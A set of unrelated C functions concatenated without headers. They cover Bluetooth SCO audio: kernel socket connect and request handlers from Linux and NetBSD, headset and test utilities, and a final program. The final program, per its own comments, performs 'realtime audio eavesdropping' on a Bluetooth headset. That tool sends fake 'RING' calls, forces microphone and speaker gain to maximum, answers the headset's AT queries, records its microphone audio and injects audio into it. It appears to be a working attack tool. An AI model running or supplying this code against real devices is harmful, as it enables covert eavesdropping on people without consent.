static int sco_sock_connect(struct socket *sock, struct sockaddr *addr, int alen, int flags) { struct sockaddr_sco *sa = (struct sockaddr_sco *) addr; struct sock *sk = sock->sk; int err = 0; BT_DBG("sk %p", sk); if (addr->sa_family != AF_BLUETOOTH || alen < sizeof(struct sockaddr_sco)) return -EINVAL; if (sk->state != BT_OPEN && sk->state != BT_BOUND) return -EBADFD; if (sk->type != SOCK_SEQPACKET) return -EINVAL; lock_sock(sk); /* Set destination address and psm */ bacpy(&bluez_pi(sk)->dst, &sa->sco_bdaddr); if ((err = sco_connect(sk))) goto done; err = bluez_sock_wait_state(sk, BT_CONNECTED, sock_sndtimeo(sk, flags & O_NONBLOCK)); done: release_sock(sk); return err; }
static int headset_button(struct s_headset *headset) { uint16_t sco_handle, sco_mtu; if (headset == NULL) return 0; if (headset->sco_fd != -1) { /* close bt_sco audio handle */ bt_sco_set_fd(headset->handle, -1); /* disconnect SCO stream */ close(headset->sco_fd); headset->sco_fd = -1; fprintf(stderr, "disconnected SCO channel\n"); return 1; } fprintf(stderr, "opened hwdep\n"); /* connect sco stream */ if ((headset->sco_fd = sco_connect(&headset->local, &headset->bdaddr, &sco_handle, &sco_mtu)) < 0) { perror("Can't connect SCO audio channel"); return 1; } fprintf(stderr, "connected SCO channel\n"); // write(rd, "RING\r\n", 6); fprintf(stderr, "Setting sco fd\n"); bt_sco_set_fd (headset->handle, headset->sco_fd); fprintf(stderr, "Done setting sco fd\n"); return 1; }
int main(int argc, char *argv[]) { GOptionContext *context; context = g_option_context_new(NULL); g_option_context_add_main_entries(context, options, NULL); if (!g_option_context_parse(context, &argc, &argv, NULL)) exit(EXIT_FAILURE); g_option_context_free(context); printf("accept=%d reject=%d discon=%d defer=%d sec=%d update_sec=%d" " prio=%d voice=0x%04x\n", opt_accept, opt_reject, opt_disconn, opt_defer, opt_sec, opt_update_sec, opt_priority, opt_voice); if (opt_psm || opt_cid) { if (argc > 1) l2cap_connect(opt_dev, argv[1], opt_addr_type, opt_psm, opt_cid, opt_disconn, opt_sec, opt_priority); else l2cap_listen(opt_dev, opt_addr_type, opt_psm, opt_cid, opt_defer, opt_reject, opt_disconn, opt_accept, opt_sec, opt_master); } if (opt_channel != -1) { if (argc > 1) rfcomm_connect(opt_dev, argv[1], opt_channel, opt_disconn, opt_sec); else rfcomm_listen(opt_dev, opt_channel, opt_defer, opt_reject, opt_disconn, opt_accept, opt_sec, opt_master); } if (opt_sco) { if (argc > 1) sco_connect(opt_dev, argv[1], opt_disconn, opt_voice); else sco_listen(opt_dev, opt_defer, opt_reject, opt_disconn, opt_accept, opt_voice); } signal(SIGTERM, sig_term); signal(SIGINT, sig_term); main_loop = g_main_loop_new(NULL, FALSE); g_main_loop_run(main_loop); g_main_loop_unref(main_loop); printf("Exiting\n"); exit(EXIT_SUCCESS); }
int main(int argc, char *argv[]) { struct sigaction sa; fd_set rfds; struct timeval timeout; unsigned char buf[2048], *p; int maxfd, sel, rlen, wlen; bdaddr_t local; bdaddr_t bdaddr; uint8_t channel; char *filename; mode_t filemode; int err, mode = 0; int dd, rd, sd, fd; uint16_t sco_handle, sco_mtu, vs; switch (argc) { case 4: str2ba(argv[3], &bdaddr); channel = 6; break; case 5: str2ba(argv[3], &bdaddr); channel = atoi(argv[4]); break; default: usage(); exit(-1); } if (strncmp(argv[1], "play", 4) == 0) { mode = PLAY; filemode = O_RDONLY; } else if (strncmp(argv[1], "rec", 3) == 0) { mode = RECORD; filemode = O_WRONLY | O_CREAT | O_TRUNC; } else { usage(); exit(-1); } filename = argv[2]; hci_devba(0, &local); dd = hci_open_dev(0); hci_read_voice_setting(dd, &vs, 1000); vs = htobs(vs); fprintf(stderr, "Voice setting: 0x%04x\n", vs); close(dd); if (vs != 0x0060) { fprintf(stderr, "The voice setting must be 0x0060\n"); return -1; } if (strcmp(filename, "-") == 0) { switch (mode) { case PLAY: fd = 0; break; case RECORD: fd = 1; break; default: return -1; } } else { if ((fd = open(filename, filemode)) < 0) { perror("Can't open input/output file"); return -1; } } memset(&sa, 0, sizeof(sa)); sa.sa_flags = SA_NOCLDSTOP; sa.sa_handler = sig_term; sigaction(SIGTERM, &sa, NULL); sigaction(SIGINT, &sa, NULL); sa.sa_handler = SIG_IGN; sigaction(SIGCHLD, &sa, NULL); sigaction(SIGPIPE, &sa, NULL); if ((rd = rfcomm_connect(&local, &bdaddr, channel)) < 0) { perror("Can't connect RFCOMM channel"); return -1; } fprintf(stderr, "RFCOMM channel connected\n"); if ((sd = sco_connect(&local, &bdaddr, &sco_handle, &sco_mtu)) < 0) { perror("Can't connect SCO audio channel"); close(rd); return -1; } fprintf(stderr, "SCO audio channel connected (handle %d, mtu %d)\n", sco_handle, sco_mtu); if (mode == RECORD) err = write(rd, "RING\r\n", 6); maxfd = (rd > sd) ? rd : sd; while (!terminate) { FD_ZERO(&rfds); FD_SET(rd, &rfds); FD_SET(sd, &rfds); timeout.tv_sec = 0; timeout.tv_usec = 10000; if ((sel = select(maxfd + 1, &rfds, NULL, NULL, &timeout)) > 0) { if (FD_ISSET(rd, &rfds)) { memset(buf, 0, sizeof(buf)); rlen = read(rd, buf, sizeof(buf)); if (rlen > 0) { fprintf(stderr, "%s\n", buf); wlen = write(rd, "OK\r\n", 4); } } if (FD_ISSET(sd, &rfds)) { memset(buf, 0, sizeof(buf)); rlen = read(sd, buf, sizeof(buf)); if (rlen > 0) switch (mode) { case PLAY: rlen = read(fd, buf, rlen); wlen = 0; p = buf; while (rlen > sco_mtu) { wlen += write(sd, p, sco_mtu); rlen -= sco_mtu; p += sco_mtu; } wlen += write(sd, p, rlen); break; case RECORD: wlen = write(fd, buf, rlen); break; default: break; } } } } close(sd); sleep(5); close(rd); close(fd); return 0; }
/* * User Request. * up is socket * m is either * optional mbuf chain containing message * ioctl command (PRU_CONTROL) * nam is either * optional mbuf chain containing an address * ioctl data (PRU_CONTROL) * ctl is optional mbuf chain containing socket options * l is pointer to process requesting action (if any) * * we are responsible for disposing of m and ctl if * they are mbuf chains */ static int sco_usrreq(struct socket *up, int req, struct mbuf *m, struct mbuf *nam, struct mbuf *ctl, struct lwp *l) { struct sco_pcb *pcb = (struct sco_pcb *)up->so_pcb; struct sockaddr_bt *sa; struct mbuf *m0; int err = 0; DPRINTFN(2, "%s\n", prurequests[req]); KASSERT(req != PRU_ATTACH); KASSERT(req != PRU_DETACH); switch(req) { case PRU_CONTROL: return EOPNOTSUPP; case PRU_PURGEIF: return EOPNOTSUPP; } /* anything after here *requires* a pcb */ if (pcb == NULL) { err = EINVAL; goto release; } switch(req) { case PRU_DISCONNECT: soisdisconnecting(up); return sco_disconnect(pcb, up->so_linger); case PRU_ABORT: sco_disconnect(pcb, 0); soisdisconnected(up); sco_detach(up); return 0; case PRU_BIND: KASSERT(nam != NULL); sa = mtod(nam, struct sockaddr_bt *); if (sa->bt_len != sizeof(struct sockaddr_bt)) return EINVAL; if (sa->bt_family != AF_BLUETOOTH) return EAFNOSUPPORT; return sco_bind(pcb, sa); case PRU_CONNECT: KASSERT(nam != NULL); sa = mtod(nam, struct sockaddr_bt *); if (sa->bt_len != sizeof(struct sockaddr_bt)) return EINVAL; if (sa->bt_family != AF_BLUETOOTH) return EAFNOSUPPORT; soisconnecting(up); return sco_connect(pcb, sa); case PRU_PEERADDR: KASSERT(nam != NULL); sa = mtod(nam, struct sockaddr_bt *); nam->m_len = sizeof(struct sockaddr_bt); return sco_peeraddr(pcb, sa); case PRU_SOCKADDR: KASSERT(nam != NULL); sa = mtod(nam, struct sockaddr_bt *); nam->m_len = sizeof(struct sockaddr_bt); return sco_sockaddr(pcb, sa); case PRU_SHUTDOWN: socantsendmore(up); break; case PRU_SEND: KASSERT(m != NULL); if (m->m_pkthdr.len == 0) break; if (m->m_pkthdr.len > pcb->sp_mtu) { err = EMSGSIZE; break; } m0 = m_copypacket(m, M_DONTWAIT); if (m0 == NULL) { err = ENOMEM; break; } if (ctl) /* no use for that */ m_freem(ctl); sbappendrecord(&up->so_snd, m); return sco_send(pcb, m0); case PRU_SENSE: return 0; /* (no sense - Doh!) */ case PRU_RCVD: case PRU_RCVOOB: return EOPNOTSUPP; /* (no release) */ case PRU_LISTEN: return sco_listen(pcb); case PRU_ACCEPT: KASSERT(nam != NULL); sa = mtod(nam, struct sockaddr_bt *); nam->m_len = sizeof(struct sockaddr_bt); return sco_peeraddr(pcb, sa); case PRU_CONNECT2: case PRU_SENDOOB: case PRU_FASTTIMO: case PRU_SLOWTIMO: case PRU_PROTORCV: case PRU_PROTOSEND: err = EOPNOTSUPP; break; default: UNKNOWN(req); err = EOPNOTSUPP; break; } release: if (m) m_freem(m); if (ctl) m_freem(ctl); return err; }
int main(int argc, char *argv[]) { struct sigaction sa; fd_set rfds; struct timeval timeout; unsigned char buf[2048], *p; unsigned char cmp[2048]; int maxfd, sel, wlen, rlen; int cnt=0; bdaddr_t local; bdaddr_t bdaddr; uint8_t channel; uint8_t hcidevno; char *infilename; char *outfilename; mode_t infilemode; mode_t outfilemode; int scostarted=0; int mode = 0; int dd, rd, sd, fdi, fdo; uint16_t sco_handle, sco_mtu, vs; switch (argc) { case 5: str2ba(argv[4], &bdaddr); channel = 1; hcidevno = 0; break; case 6: str2ba(argv[4], &bdaddr); channel = atoi(argv[5]); hcidevno = atoi(argv[1]); break; default: usage(); exit(-1); } infilemode = O_RDONLY; outfilemode = O_WRONLY | O_CREAT | O_TRUNC; infilename = argv[2]; outfilename = argv[3]; hci_devba(0, &local); dd = hci_open_dev(hcidevno); hci_read_voice_setting(dd, &vs, 1000); vs = htobs(vs); printf("Voice setting: 0x%04x\n", vs); close(dd); if (vs != 0x0060) { perror("The voice setting must be 0x0060!\n"); return -1; } // Hack by KF to enable realtime audio eavesdropping. Use stdout and pipe to sox. (see usage) if(strcmp(outfilename,"-") == 0) { printf("Using stdout!"); fdo = 1; } else { if ((fdo = open(outfilename, outfilemode)) < 0) { perror("Can't open output file!"); return -1; } } if ((fdi = open(infilename, infilemode)) < 0) { perror("Can't open input file!"); return -1; } memset(&sa, 0, sizeof(sa)); sa.sa_flags = SA_NOCLDSTOP; sa.sa_handler = sig_term; sigaction(SIGTERM, &sa, NULL); sigaction(SIGINT, &sa, NULL); sa.sa_handler = SIG_IGN; sigaction(SIGCHLD, &sa, NULL); sigaction(SIGPIPE, &sa, NULL); if ((rd = rfcomm_connect(&local, &bdaddr, channel)) < 0) { perror("Can't connect RFCOMM channel!"); return -1; } printf("RFCOMM channel connected\n"); // It is important that the RING message is sent before the SCO connection is established. // This way, the audio sent is interpreted as in-band ringtone and is displayed in most cases // immediately. // send 'RING' message in order to initiate fake phone call wlen = write(rd, "RING\r\n", 6); usleep(1000); if ((sd = sco_connect(&local, &bdaddr, &sco_handle, &sco_mtu)) < 0) { perror("Can't connect SCO audio channel!"); close(rd); return -1; } printf("SCO audio channel connected (handle %d, mtu %d)\n", sco_handle, sco_mtu); // wait for connection to be fully established // usleep(200); // turn up the speaker volume and the microphone gain to the highest level wlen = write(rd, "AT+VGS=15\r\n", 11); wlen = write(rd, "AT+VGM=15\r\n", 11); // send 'RING' message in order to initiate fake phone call wlen = write(rd, "RING\r\n", 6); maxfd = (rd > sd) ? rd : sd; while (!terminate) { FD_ZERO(&rfds); FD_SET(rd, &rfds); FD_SET(sd, &rfds); timeout.tv_sec = 2; timeout.tv_usec = 0; if ((sel = select(maxfd + 1, &rfds, NULL, NULL, &timeout)) > 0) { if ((FD_ISSET(rd, &rfds))&&(scostarted!=0)) { memset(buf, 0, sizeof(buf)); rlen = read(rd, buf, sizeof(buf)); //buf[rlen++] = '\0'; if (rlen > 0) { fprintf(stderr, "got: %s\n",buf); if (strncmp(buf, "AT+BRSF=",8)==0) { wlen=write(rd,"+BRSF: 63\r\n",11); fprintf(stderr, "ansewered: +BRSF: 63\n"); } else if (strncmp(buf, "AT+CIND?",8)==0) { wlen=write(rd,"+CIND: 0,1,0,0\r\n",16); fprintf(stderr, "ansewered: +CIND: 1\n"); } else if (strncmp(buf, "AT+CIND=?",9)==0) { wlen=write(rd,"+CIND: (\"call\",(0,1)),(\"service\",(0,1)),(\"call_setup\",(0-3)),(\"callsetup\",(0-3))\r\n",82); fprintf(stderr, "ansewered: +CIND: (\"call\",(0,1)),(\"service\",(0,1)),(\"call_setup\",(0-3)),(\"callsetup\",(0-3))\n"); } else { // answer to anything else with an 'OK' wlen = write(rd, "OK\r\n", 4); fprintf(stderr, "ansewered: OK\n"); } } else { // check return value of read call if (rlen==-1) { // terminate loop wlen = write(rd, "AT+VGM=15\r\n", 11); terminate=1; } } } if (FD_ISSET(sd, &rfds)) { scostarted=1; memset(buf, 0, sizeof(buf)); rlen = read(sd, buf, sizeof(buf)); if (rlen > 0) { wlen = write(fdo, buf, rlen); rlen = read(fdi, buf, rlen); wlen = 0; if (rlen > 0) p = buf; while (rlen > sco_mtu) { wlen += write(sd, p, sco_mtu); rlen -= sco_mtu; p += sco_mtu; } wlen += write(sd, p, rlen); } } if (cnt++>800) { // keep tuning up the volume for speaker and microphone wlen = write(rd, "RING\r\n", 6); wlen = write(rd, "AT+VGS=15\r\n", 11); wlen = write(rd, "AT+VGM=15\r\n", 11); cnt=0; printf(".\n"); } } } // close sockets close(sd); close(rd); // close files close(fdi); close(fdo); return 0; }